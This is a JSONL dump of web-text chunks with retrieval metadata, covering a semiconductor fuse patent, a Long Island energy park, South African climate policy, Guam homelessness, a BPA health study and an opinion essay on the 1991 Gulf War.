be all reversed. the semiconductor may be silicon. the p + type region 12 may be demarcated laterally by thick insulating zones 14, preferably made of thick silicon oxide formed by localized thermal oxidation. the size of the region 12 may be some micrometers long by some micrometers wide. the depth of the region 12 is small : some tenths of a micrometer, preferably about 0. 2 micrometers. the concentration of n type impurities in the well is preferably the same as that used to form the wells of the p channel transistors of cmos integrated circuits. this concentration is, for example, 10. sup. 18 to 10. sup. 19 atoms per cm. sup. 3 approximately. the doping impurity may be phosphorus or arsenic, for example. the concentration of p + type impurities in the shallow region 12 is preferably the same as that used to form the self - aligned sources and drains of the p channel mos transistors. this concentration is, for example, about 10. sup. 18 to 10. sup. 20 atoms per cm. sup. 3 approximately. the doping impurity may be boron, for example. the upper part of the region 12 is in contact with a metal conductor 16 forming a first terminal a of the fuse. another metal conductor 18, electrically connected to the n - well, constitutes the other terminal b of the fuse. the conductors may be made of aluminium, for example, which is a metal commonly used in the field of silicon integrated circuits. aluminium has good properties of diffusion in silicon in the presence of a rise in temperature. this is why it is possible to make the conductor 16 out of aluminium. other metals with similar properties could also be used instead of aluminium. the conductor 18 is in contact with an n + type diffused region 20 that is locally diffused on the surface of the well and enables the setting up of an ohmic contact between the n well and the terminal b. this n + region 20 is separated from the p + region 12, for example by a portion of a thick insulator oxide region 14. the n + region 20 may surround the entire region 12. fig. 1 corresponds to an embodiment where", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5695915957461251, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.098704"} {"text": "this n + region 20 is separated from the p + region 12, for example by a portion of a thick insulator oxide region 14. the n + region 20 may surround the entire region 12. fig. 1 corresponds to an embodiment where the n + region 20 surrounds region 12, and this is why an n + region 20 is seen on either side of the shallow region 12. the conductor 16 comes into contact with at least one part of the surface of the region 12, for example on a surface area of 1 micrometer by 1 micrometer at its center. the contact is designated by 22 in fig. 1. the fuse works as follows. while the fuse is intact, it constitutes a simple np diode between the terminals a and b. when this diode is forward - biased by a sufficient read current, there is a voltage drop of about 0. 6 to 0. 7 volts at its terminals. the read current is adjusted by a current source. the read current applied may be some microamperes for a junction surface area of about 10 square micrometers. to blow the fuse, a high current is applied to its terminals in forward bias, resulting in a current density possibly reaching a value of about 1 milliampere per square micrometer at the position of the contact 22 between the metal of the terminal a and the p + region 12. the ohmic resistance at the position of the contact is substantial, because the region 12 is not heavily doped. the heating by the joule effect prompts a substantial rise in temperature in the vicinity of the contact, melting the aluminium and the silicon in the vicinity of the contact. aluminium and silicon form a eutectic material at a far lower temperature than the melting temperatures of either aluminium or silicon, alone. the aluminium then - diffuses into the silicon, towards the junction between the region 12 and the n well. if a sufficient quantity of aluminium diffuses into the vicinity of the np junction, then the np junction will be practically short - circuited. the fuse is then in its blown state. the period of application of the current may be some seconds, for example 10 seconds, to achieve this result. in order to facilitate this process, the np junction is shallowly located with respect to contact 22. in the blown state, the fuse no longer behaves like a diode but like a simple low - value resistor. the reading current applied, for example some microamperes, generates a drop in voltage which can hardly exceed some tens of mill", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.557087041367448, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.099774"} {"text": "in the blown state, the fuse no longer behaves like a diode but like a simple low - value resistor. the reading current applied, for example some microamperes, generates a drop in voltage which can hardly exceed some tens of millivolts. this voltage drop is far less than the drop in voltage at the terminals of the intact junction. in order to be used as a circuit locking element, the fuse is placed in a circuit that enables both an electrical blow - out command and a state detection command. a blow - out command circuit and a state detection circuit are therefore associated with the fuse. the use of a direct reading fuse has the advantage that one of the terminals of this diode is permanently connected to the ground. therefore, attempts at fraud are more difficult. fig. 2 shows a simple example illustrating the principles of this circuit. circuits of greater sophistication may be provided. the fuse is designated by the reference f in fig. 2. the terminal b of the fuse is connected to the ground vss which is the lowest voltage of the circuit, to which the substrate of an integrated circuit is usually connected when it is of the p type. the terminal a of the fuse is connected to a terminal of a breakdown transistor t1, the other terminal of which is connected to a positive supply terminal vcc of the integrated circuit. this voltage is the normal supply voltage of the integrated circuit, for example about 3 - 5 volts, because the principle of the fuse described in this invention does not require any particularly high blow - out voltage, unlike the fuses used in eprom memory cells. the gate of the blow - out transistor t1 may receive a blow - out command cl. this command is a voltage that enables the transistor t1 to be made conductive. the command voltage is a positive voltage with respect to vss if t1 is an n channel transistor, and it is a zero voltage or a voltage close to vss if t1 is a p channel transistor ). the dimensions of the transistor t1 are chosen so as to let through a current sufficient for the current density at the contact 22 to result in a temperature rise that will cause the contact metal to diffuse into the semiconductor. according to one embodiment, transistor t1 is capable of letting through one milliampere. the blow - out command circuit may be as simple as only this transistor t1. for reading the state of the fuse,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5514503331520155, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.100752"} {"text": "according to one embodiment, transistor t1 is capable of letting through one milliampere. the blow - out command circuit may be as simple as only this transistor t1. for reading the state of the fuse, there is provided a circuit comprising a current source scl to direct a read current of some microamperes into the fuse, from the terminal a to the terminal b. the current source is therefore connected between the terminal vcc and the terminal a of the fuse. there is therefore a current bias of the fuse in a direction causing the np junction to be forward - biased. the terminal a is furthermore connected to the input of a threshold comparator cmps that has an output s. the signal appearing at output terminal s indicates whether the voltage at a is greater than or lower than a predetermined threshold. according to one embodiment of the invention, the threshold of this comparator is at least about 0. 5 volts, and preferably about 0. 2 volts to 0. 3 volts. if the voltage at a ( measured with respect to the ground vss ) is greater than this threshold, the fuse is considered to be intact. if it is lower, the fuse is considered to be blown. in the example shown in fig. 2, the threshold comparator is constituted quite simply by an n type transistor t2 with a very low threshold voltage ( vt equal to about 0. 2 volts ). this transistor has its gate connected to the terminal a and it is series - connected with a p channel bias transistor t3 that is made conductive by its gate connected to the ground vss. a transistor t2 with a very low threshold voltage is obtained by avoiding the doping of its channel with p type impurities as is done for other n channel transistors of the circuit which rather have a threshold voltage of about 1 volt. consequently, the transistor t2 is a so - called \" native \" transistor. the point of junction between the drains of the transistors t2 and t3 constitute the output s of the comparator and makes it possible to give a signal representing the state of the fuse : the signal is close to vss if the fuse is intact and close to vcc if the fuse is blown. this signal may be used as desired, for example to prohibit a path of access to one zone or another of the integrated circuit, notably when the circuit", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5345865653218798, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.101765"} {"text": "close to vss if the fuse is intact and close to vcc if the fuse is blown. this signal may be used as desired, for example to prohibit a path of access to one zone or another of the integrated circuit, notably when the circuit is that of a chip card. fig. 3 shows another example of a circuit for controlling and reading the state of the fuse. in this drawing, the fuse f is supplied by a voltage generator ( n channel transistor t4 having its source connected to the terminal a and its drain connected to a p channel transistor t5 furthermore connected to vcc ). the biasing of the fuse is therefore rather a voltage biasing. it is such that the np junction tends to be forward - biased. the voltage applied in this embodiment may be tenths of volts, for example. this is obtained through a biasing of the gate of t4 by a transistor t7 and a transistor t8. the n channel transistor t7 is connected as a diode between the gate of t4 and the ground vss. the transistor t8 is connected between vcc and t7 and gives a supply current to t7. in this example, this current is obtained by a current mirror ( t5, t8 ) from the current flowing through the fuse. this sets up a negative feedback between the current flowing through the fuse and the voltage bias of this fuse. this feedback has the advantage of increasing the dynamic range of variation of the output signal. for reading of the state of the fuse, a circuit is provided to convert the current flowing through the fuse into voltage. for this purpose, there is provided a transistor t6, connected as a current mirror with respect to t5. this current mirror mirrors the current in the fuse in a resistor r. the junction point between the resistor r and the transistor t6 is the output s of the circuit. if the fuse is intact, the current that flows through it is relatively low and the current in the resistor r is also low. the voltage at the terminal s is close to vss. if, on the contrary, the fuse is blown, the current is far greater in the fuse and therefore is correspondingly greater in the resistor r. the voltage at the output s approaches vcc. it is thus possible to detect the state of the fuse. a transistor t9 ( p channel transistor ) connected between vcc and the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5295026437764208, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.102845"} {"text": "correspondingly greater in the resistor r. the voltage at the output s approaches vcc. it is thus possible to detect the state of the fuse. a transistor t9 ( p channel transistor ) connected between vcc and the gate of t4 ensures that the circuit starts up properly when the voltage is turned on but does not play any role thereafter. it has very low capacity to conduct current, because it has a great length and small width. finally, a transistor t10 capable of conducting substantial current plays the role of the transistor t1 of fig. 1 to blow the fuse. in yet another embodiment, shown in fig. 4, reading is done by reverse biasing of the np junction between the doped region 12 and the well 11. the end a of the fuse is grounded, and the end b disconnected from the ground for purposes of reading the state of the fuse. to this end, it is necessary to provide, firstly, for an isolation transistor t ' 1 between the terminal b and the ground and, secondly, a transistor t12 to connect the terminal a to the ground. the transistor t ' 1 is made conductive at the same time as t1 for the blowing of the fuse, both responsive to the blow - out signal cl. the transistor t ' l is non - conductive for reading the state of the fuse. this transistor should be as big as the transistor t1 since it also carries the fuse blow - out current. if the transistor t1 is a p channel transistor and the transistor t ' 1 is an n channel transistor, an inverter i1 receives the blow - out signal cl applied to t1 and reverses it to apply it to the control gate of t ' 1. the transistor t12 which is used to connect the terminal a to the ground may be a small n channel transistor. it carries only a small reading current. it is put into a state of conduction for the reading operation by a read signal lect present outside periods reserved for the blowing out of the fuse. the read circuit may be similar to that of fig. 2, with a source scl for the supply of current to the fuse through the terminal b and a simple threshold comparator cmps connected to the terminal b to detect the logic level present at the terminal b. the threshold of the comparator is far less critically important", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5155277485230124, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.103770"} {"text": "question : what do you get when you cross a majestic 100 - kilowatt ( kw ) wind turbine with a hydrogen fueling station, a solar house, a pair of solar trackers ( high - tech solar electric panels that follow the sun \u2019 s daily path across the sky ), a 60 - kw solar field, a solar - powered carport and a geothermal energy project? answer : a pioneering and unparalleled energy park that will meet the heating and cooling needs of a municipal facility on long island while serving as a model for other local governments across the united states. the groundbreaking energy park is located at the town of hempstead \u2019 s conservation and waterways headquarters. settled in 1664, the town of hempstead \u2013 with a population of approximately 770, 000 people \u2013 is the most populous township in the united states. if it were incorporated as a city, it would be the second largest city in new york, ahead of buffalo and behind new york city. i live in an unincorporated village within the town of hempstead and i ' ve eagerly followed the energy park \u2019 s evolution and progress, which was underscored by the 100 - kw wind turbine that became operational in december. the first time i saw the new turbine, while driving on a nearby parkway, i was delighted beyond words and each time i ' ve seen it since it still manages to bring a smile. even better, within sight of the town \u2019 s energy park is the e. f. barrett power station, a fossil fuel - fired relic from the past that has for decades damaged long island \u2019 s south shore estuary from which it withdraws water and returns it at a much higher temperature. fortunately, on may 23, i had the pleasure of attending an event hosted by the town to mark a few milestones achieved by the wind turbine. town supervisor kate murray announced that the wind turbine has generated over 128, 000 kilowatt hours ( kwh ) in its first 24 weeks. to put the 128, 000 kwh into perspective, that \u2019 s enough electricity to power 14 long island homes for an entire year. standing 120 feet tall ( excluding the 35 - foot blades ), the turbine, the northern power 100, helps power long island \u2019 s only hydrogen fueling station, providing electricity to power a water - to - hydrogen conversion process which produces hydrogen fuel. the fuel is stored on site at the fueling station and is utilized by the town \u2019 s fleet of fuel - cell vehicles and a hydrogen / compressed natural gas internal combustion engine bus.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5520690790256568, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.108647"} {"text": "a water - to - hydrogen conversion process which produces hydrogen fuel. the fuel is stored on site at the fueling station and is utilized by the town \u2019 s fleet of fuel - cell vehicles and a hydrogen / compressed natural gas internal combustion engine bus. \u201c powered by the winds off point lookout, this wind turbine provides an almost constant supply of clean, renewable energy for the town, \u201d explains murray who received an environmental quality award from the u. s. environmental protection agency in april for her leadership and vision on the energy park. according to the epa, the town \u201c has taken several measures to reduce its energy use while saving its residents money in the process \u2026 supervisor murray has elevated the town of hempstead to a higher environmental standard, promoting sustainability throughout the community and, ultimately, setting an example for others. \u201d with local residents ( and taxpayers ) in mind, the town secured a $ 4. 6 million u. s. department of energy grant to cover the cost of the wind turbine - - estimated at $ 615, 000 - - and finance the construction of the other components of this unique park. ( the park also boasts a neat solar and wind - powered shellfish nursery that we produced a video about a few years ago. ) \u201c the town \u2019 s energy park is a model of how local government can provide leadership with clean energy that should be followed by communities across the nation, \u201d says neal lewis, executive director of the sustainability institute at molloy college. \u201c with gridlock on energy policy in our nation \u2019 s capital, local governments are taking the lead in retrofitting old buildings, converting vehicle fleets and installing renewable energy systems, \u201d says lewis, who also coordinates the long island clean energy leadership task force, which for seven years running has brought together local government officials with environmentalists in order to identify ways that government can lead by example in promoting clean energy. \u201c among the most active on long island are supervisor kate murray and the town of hempstead. \u201d \u201c the town of hempstead has been a leader in the pursuit of new, clean ways to generate the energy we use, \u201d noted michael d. hervey, chief operating officer of the long island power authority, which has supported many of the town \u2019 s initiatives and provided technical and financial assistance as the town \u2019 s investment in its energy park has grown. i was glad to see that new york city is taking note. at the may 23 event, i was introduced to a new york city department of sanitation energy manager who was on hand to see what", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.48590225484117777, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.109761"} {"text": "what we do to stop climate change climate change impacts are being felt across the globe as sea levels rise, tropical storms smash into coastlines, once - fertile lands battle with floods or drought and permafrost in the polar regions melts. although africa contributes relatively little to global warming, the region is suffering from its effects. unpredictable rainfall patterns are causing lower crop yields, soaring food prices and dwindling resources. although africa contributes very little to climate change, the region is suffering from its effects. unpredictable rainfall patterns are causing lower crop yields, soaring food prices and dwindling resources. while developed countries debate what climate change could mean for their future, it is already threatening the survival of the world ' s most vulnerable people. over 180 million people in sub - saharan africa alone could die as a result of climate change by the end of the century. unpredictable rainfall patterns, lower crop yields, soaring food prices and dwindling natural resources are already causing increased human migration, tension and conflict. click for the solutions to climate change warmer temperatures and altered rainfall patterns could also create new habitats for disease - carrying organisms such as mosquitoes, opening up new areas to dengue, yellow fever and malaria. south africa - in a position to lead south africa can influence the battle against climate change, being an active member of the african union, a vocal member of the g77, and one of the four developing countries poised to become a southern engine of global economic growth. its powerful combination of strong international leadership, progressive thinking and forward - looking policies are reflected in its calls for dramatic cuts in global greenhouse gas emissions and for mechanisms to help vulnerable countries adapt to the impacts of climate change. despite this, south africa is the 14th highest emitter of co2 in the world with emissions likely to rise sharply as energy demands increase. most of its carbon emissions, around 80 percent of its primary energy needs, come from coal. the government plans to re - commission several retired coal power stations, and build more in the coming decade, with the remaining increase in capacity expected to come from new nuclear power plants. as countless examples around the world show, nuclear power is not clean, cheap or safe. south africa planned new reactors include the untested pebble bed modular reactor, which will cost an estimated 14 billion rand ( us $ 1. 58 billion ). a move from highly polluting coal energy to expensive, risky nuclear energy is not a viable solution. enormous renewable energy potential south africa is not only coal dependent at home, but it exports 60 percent of", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4559446403002669, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.115518"} {"text": "rand ( us $ 1. 58 billion ). a move from highly polluting coal energy to expensive, risky nuclear energy is not a viable solution. enormous renewable energy potential south africa is not only coal dependent at home, but it exports 60 percent of its coal, contributing to growing carbon emissions beyond its borders. it has set a target for renewable energy of four per cent of its total electricity requirements by 2013, and announced strong policies on energy and transport efficiency and carbon emission cuts. despite this, the government has no effective energy efficiency measures in place and almost no implimentation of renewable energy production. south africa has immense potential for developing renewable energy, especially solar and wind. greenpeace is campaigning for a global energy revolution using renewable energy, greater efficiency in energy production plus more efficient energy use. based on existing technologies, we can halve global carbon emissions by 2050 while providing affordable energy, jobs and economic growth. there is no time to delay. instead of making the same costly mistakes that the climate - changing economies of the developed world have made, south africa can leapfrog ' dirty development ' and lead the african energy revolution. it is not too late to stop dangerous climate change. greenpeace is calling for : - a peak in global emissions by 2015 and a steady decline thereafter ; - significant reduction in our dependency on fossil fuels, particularly coal, through the adoption of an energy revolution to move us from a world powered by fossil fuels and nuclear to one running on renewable energy ; - zero deforestation in the world ' s intact tropical forests by 2015 ; - ambitious government targets and timelines on energy efficiency in vehicles and appliances.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4973602502024629, "token_count": 330, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.116192"} {"text": "today, the guam homeless coalition and the guam housing and urban renewal authority is conducting a one - day count of the island ' s homeless. about 150 volunteers will be dispersed throughout the island to help discern the island ' s homeless population. the annual event is used to determine about how many people in guam don ' t have homes, or live in substandard housing. it ' s a requirement because the local government receives continuum of care funding from the federal government. guam ' s homeless numbers have been high in recent years. in 2011, there were 1, 541 homeless. last year ' s count was 1, 301. and the counts are never fully complete, as not all homeless individuals are identified in the one - day events, so it ' s possible the numbers are even higher. there are some agencies and nonprofit groups that offer services and other assistance to the homeless. on a regular basis, an event called passport to services is held to aid the island ' s homeless and those at risk of homelessness, as well as other needy individuals. agencies, nonprofits and volunteers give out food bags and toiletries, offer free haircuts and help individuals obtain identification cards, among other services. but only a fraction of the island ' s homeless and needy show up, primarily because they don ' t have a reliable way to get to the event - - or to any agency or nonprofit offering assistance. the island ' s mass transit system is hugely inadequate, with limited routes, limited buses and long waits. if elected officials truly want to help the island ' s homeless, people with disabilities and others in need, they must work to bolster, expand and improve public transportation. they must not allow the current situation to persist. it won ' t be easy or inexpensive to fix public transportation, and it won ' t happen quickly. but this has been a longstanding problem that has continually been ignored by elected officials. and that has to change.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3899442425163369, "token_count": 392, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.118054"} {"text": "a chemical widely used in food packaging may be a contributing factor to women developing breast cancer, scientists have suggested. the study links the compound to the development of hormone sensitive tissue in mice and has prompted environmental campaigners to call for far tighter regulation of such chemicals. experiments at tufts university school of medicine in boston, massachusetts, have potentially worrying implications for human health since they suggest mammary glands of female mice grow in a way that makes them more likely to develop breast cancer and also to respond unusually to oestrogen, which fuels most breast cancer in humans. the compound involved is called bisphenol - a or bpa. it is used in plastic food containers, cans and dental sealants and other research suggests it leaches from products and is absorbed in low concentrations by the human body, the scientists behind the latest findings say in the journal endocrinology that they are involved in further work to test the hypothesis that exposure in the womb and shortly after birth to bpa in particular, and to oestrogens in general, might increase people ' s susceptibility to breast cancer. it is the second report in a week to raise concerns about widely used chemicals. research has also shown that phthalates, often found in plastics, affects the genital development of baby boys. the tufts researchers report \" persistent alterations \" to mammary gland development after giving doses of bpa to pregnant mice which were designed to mimic levels humans are likely to be exposed to. the rodents were treated late in pregnancy and about four days after birth. the offspring were checked as they reached puberty about 30 days later. the researchers found large increases in the number and density of terminal end buds, part of the mammary gland structure where breast tumours start in both animals and humans. they also found a drop in the number of cells programmed for death, the natural defence mechanism by which the body gets rid of damaged cells that might become cancerous. animals exposed to higher doses of bpa developed mammary glands more sensitive to oestrogen. professor frederick vom saal, of the university of missouri - columbia, commenting on the findings, said : \" this is of tremendous concern because this is clearly a study that is relevant to human exposure levels to this chemical. \" gwynne lyons, a policy adviser to environment group wwf uk, suggested that humans and wildlife were being put at risk. \" because industry wants business as usual, the uk government and regulatory authorities in the european union member states are not adequately controlling these gender -", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47074531096562544, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.122987"} {"text": "##ne lyons, a policy adviser to environment group wwf uk, suggested that humans and wildlife were being put at risk. \" because industry wants business as usual, the uk government and regulatory authorities in the european union member states are not adequately controlling these gender - bending chemicals and are fighting shy of pressing industry to come up with safer chemicals. \" a study to be published this week in the journal of the national cancer institute will raise questions over the long - term daily use of the pain - killer ibuprofen by suggesting it may increase breast cancer risk. researchers at the university of southern california studied the health histories of 114, 000 women and compared them to the pills and medicine they said they had taken. the painkiller is widely available over the counter and has long been seen as one of the safest drugs. researchers say further study of its possible effects is needed because of the public health impact should the findings be confirmed. but there is better news for women diagnosed with cancer who may choose to preserve their fertility by freezing eggs before they undergo chemotherapy or radiation treatments. existing freezing and thawing techniques can damage the eggs but scientists from the university of michigan told a conference in istanbul yesterday they had developed a promising process called vitrification, already tried in mice and scheduled for trials of women this autumn. this instantly freezes the eggs, preventing the formation of dangerous ice crystals.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43591748323793406, "token_count": 277, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.123765"} {"text": "by * * nora eisenberg * * ask most americans over the age of 20 what \u2019 s the shortest and most successful war in our history, and chances are they \u2019 ll say the 1991 gulf war. short and to the point, it was over in 43 days with only 148 u. s. fatalities in battle, a third from friendly fire. but ask paul sullivan, executive director of veterans for common sense and a gulf war veteran, and he \u2019 ll quickly inform you that the gulf war actually never ended and continues to take its toll every day. sullivan, who suffers himself from gulf war illness \u2014 a multi - symptom disease caused by wartime toxins and affecting most every bodily system \u2014 doesn \u2019 t mean only that the war lingers in the bodies of stricken veterans who battle the disease every day. he means literally the war never ended. a january 1991 legislative resolution authorized the war, and then an april 1991 resolution post facto established its dates. by design or neglect, this later legislation \u2019 s definition of the war ( 38 usc ( 101 ) ( 33 ) left the door open for continuing u. s. aggression in the region. the persian gulf war, the law stipulated, would be considered to have started on august 2nd ( when iraq invaded kuwait ). but the law stipulated no particular date for the war \u2019 s ending, which would be \u201c the date \u2026 prescribed by presidential proclamation or by law. \u201d neither of which has ever happened. additional legislation like the 1998 iraq liberation act and the 2002 iraq war resolution supplemented, but never replaced the 1991 persian gulf resolutions. clinton \u2019 s 8 - year aggression against iraq, a clear violations of international law, claimed its legality, in part, on the 1991 u. s. and u. n. resolutions. to the department of defense and veterans affairs, too, for many matters ( particular medals, pay, and benefits, etc. ), the persian gulf war is defined as beginning on august 2nd, 1990 and continuing through the present. legalities aside, iraqis, residents of neighboring regions, sick u. s. veterans and their families, and others know the 1991 gulf war for the catastrophe that has tormented for two decades. but most americans still remember it as our quick and easy war, a quick rout and sudden restoration of national shame of losing in vietnam, or as bush 41 put it, beating \u201c vietnam syndrome once and for all. \u201d the persian gulf war in its initial phase ( august 1990 - february 1991 ) accomplished many goals for the new world order envisioned by", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4583463968711433, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.141845"} {"text": "of national shame of losing in vietnam, or as bush 41 put it, beating \u201c vietnam syndrome once and for all. \u201d the persian gulf war in its initial phase ( august 1990 - february 1991 ) accomplished many goals for the new world order envisioned by reagan and established by bush 41. it piloted not only the weapons of warfare the new empire would use for years to come \u2014 including establishing the very pernicious depleted uranium as the munition of choice replacing lead and tungsten \u2014 but the ideological and bureaucratic tactics with which it would prosecute unending war in the region. provoke, manipulate, lie to congress, the un, the public, bribe and bamboozle the international community, and, by all means, censor as you go. last month, on the occasion of the 20th anniversary of the start of allied military operations against iraq, nostalgia blared. at a gathering at bush 41 library, george hw bush repeated what he said at the end of desert storm, \u201c we got this one right, \u201d ( then he meant vietnam, now the current war ) declaring it the \u201c greatest \u201d honor of his life and the defining moment in his presidency. the kuwaiti envoy declared the world \u201c a safer place \u201d because of the successful war to free his country. journalists like john macarthur and seymour hersh have revealed astonishing facts about operation desert shield and desert storm and their aftermath, as the first phases of the american campaigns in the 20 year war were called. but systematic disinformation and censorship have guaranteed a public unscathed by visions of a most brutal military adventure. on the 20th anniversary of the ceasefire, for the world \u2019 s future as well as our own, let \u2019 s review basics about the persian gulf war, which continues still, ravaging over there, and here at home. 1. the persian gulf war had been in the planning for years before the iraqi invasion of kuwait provided a convenient justification. as scholars like frances boyle have asserted, soon after the 1988 termination of the 8 year iraq - iran war, the pentagon began planning the destruction of iraq. in october 1990, colin powell referred to a new military plan for iraq developed the year before. in early 1990, general schwarzkopf told the senate armed services committee of this new military strategy in the gulf and to protect u. s. access to and control over gulf oil in the event of regional conflicts, and after the war, he referred to eighteen months of planning for the campaign as commander of the u. s. central command. during january", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.48208024345782974, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.142934"} {"text": "gulf and to protect u. s. access to and control over gulf oil in the event of regional conflicts, and after the war, he referred to eighteen months of planning for the campaign as commander of the u. s. central command. during january of 1990, massive quantities of united states weapons, equipment, and supplies were sent to saudi arabia in order to prepare for the war against iraq. 2. the united states manipulated saddam into invading kuwait, then used the invasion as a justification for the war they \u2019 d been waiting for. much debate surrounds the true content of the meeting between saddam hussein and ambassador april glaspie on july 25, 1990. but glaspie \u2019 s own cable, released by wikileaks on new year \u2019 s day, and long available at the bush library and on the website of none other than margaret thatcher, paints a picture of a government with a two - faced foreign policy. saddam complains that \u201c certain circles \u201d in the u. s. government were antagonistic to iraq and glaspie agrees, though with confidence and apparent sincerity she assures him of the \u201c friendship \u201d and \u201c non - confrontational \u201d agenda of the president and secretary of state. in another follow - up cable four days later, glaspie reports on her july 28th meeting with iraqi foreign minister tariq aziz, in which he complains of the u. s. \u2019 s increasingly provocative actions and glaspie herself seems increasingly frustrated. she writes that it is important not to hit iraq with \u201c bolts out of the blue \u201d such as cessation of u. s. exports, which has come as a surprise even to her. in both cables, it \u2019 s now clear, glaspie was presenting the official friendly position of the george w h bush administration, just as behind the scenes, government hawks were preparing a war. \u2026 the law stipulated no particular date for the war \u2019 s ending, which would be \u201c the date \u2026 prescribed by presidential proclamation or by law. \u201d neither of which has ever happened. the cia under william webster \u2019 s direction advised kuwait in actions that debilitated iraq \u2019 s economy and undermined its security. with cia consultation, kuwait engaged in economic warfare against iraq \u2014 extracting iraqi oil through slant drilling ; demanding immediate repayment of loans ; and thwarting negotiations over these disputes. meanwhile at the pentagon, dick cheney, still giddy from invading panama, was craving a shot at another country, in the name of defending small countries from bullies. in her july 29th cable", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.42945727233661957, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.143894"} {"text": "loans ; and thwarting negotiations over these disputes. meanwhile at the pentagon, dick cheney, still giddy from invading panama, was craving a shot at another country, in the name of defending small countries from bullies. in her july 29th cable, glaspie offers the state department advice on handling the matter, including keeping a low profile and reminding colleagues as she had saddam in the earlier meeting that \u201c we have never taken substantive positions on inter - opec or arab border disputes \u201d \u2014 which was the matter at hand. in her earlier cable, glaspie wrote that saddam made clear that \u201c if iraq is publicly humiliated by the united states it will have no choice but to \u2018 respond, \u2019 however illogical or self - destructive that would prove. \u201d she advises the state department not to make him lose face. glaspie was not the only official to express this laissez - faire position. on july 26th, at a washington press conference, state department spokeswoman margaret tutweiler was asked by a journalist if the u. s. had sent any diplomatic protest to iraq for putting 30, 000 troops on the border with kuwait. \u201c i \u2019 m entirely unaware of any such protest, \u201d tutweiler replied. on july 31st, assistant secretary of state for near eastern affairs john kelly testified to congress that the \u201c united states has no commitment to defend kuwait, and the u. s. has no intention of defending kuwait if it is attacked by iraq. \u201d two days later, on august 2nd, when saddam \u2019 s troops entered kuwait, he had no reason to believe that the u. s. would come to kuwait \u2019 s defense with a half - million troops. or that when he tried to negotiate a dignified retreat though arab leaders, the u. s. would refuse to talk as james ridgeway carefully chronicles in his january 1991 village voice articles. what \u2019 s not clear to this day is the nature of bush and baker \u2019 s behavior at the time. the u. s. policy toward iraq had never been consistent, and in the july 25 meeting, glaspie reports, saddam reminds her of u. s. double - dealing, mentioning in particular irangate, the reagan administration \u2019 s sale of weapons to iran at the same time as it was selling arms and allowing sale of toxic chemicals to iraq. did bush and baker mean to maintain the friendlier policy toward iraq and just mismanage, bungling us into war, as murray waas argued at the time? or did they engage in the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43126538547858784, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.145589"} {"text": "arms and allowing sale of toxic chemicals to iraq. did bush and baker mean to maintain the friendlier policy toward iraq and just mismanage, bungling us into war, as murray waas argued at the time? or did they engage in the most machiavellian of manipulations, using a seasoned and apparently sincere diplomat to say one thing as they were planning another? margaret thatcher \u2019 s account in her memoir is that as late as august 2nd, when the two met at a conference in aspen, bush was waffling about responding to the iraqi invasion until she famously said, \u201c this is no time to go wobbly on me, george, \u201d which may or not be so. what \u2019 s certain is that by sunday, august 5th, bush was in, announcing after a weekend at camp david, \u201c this will not 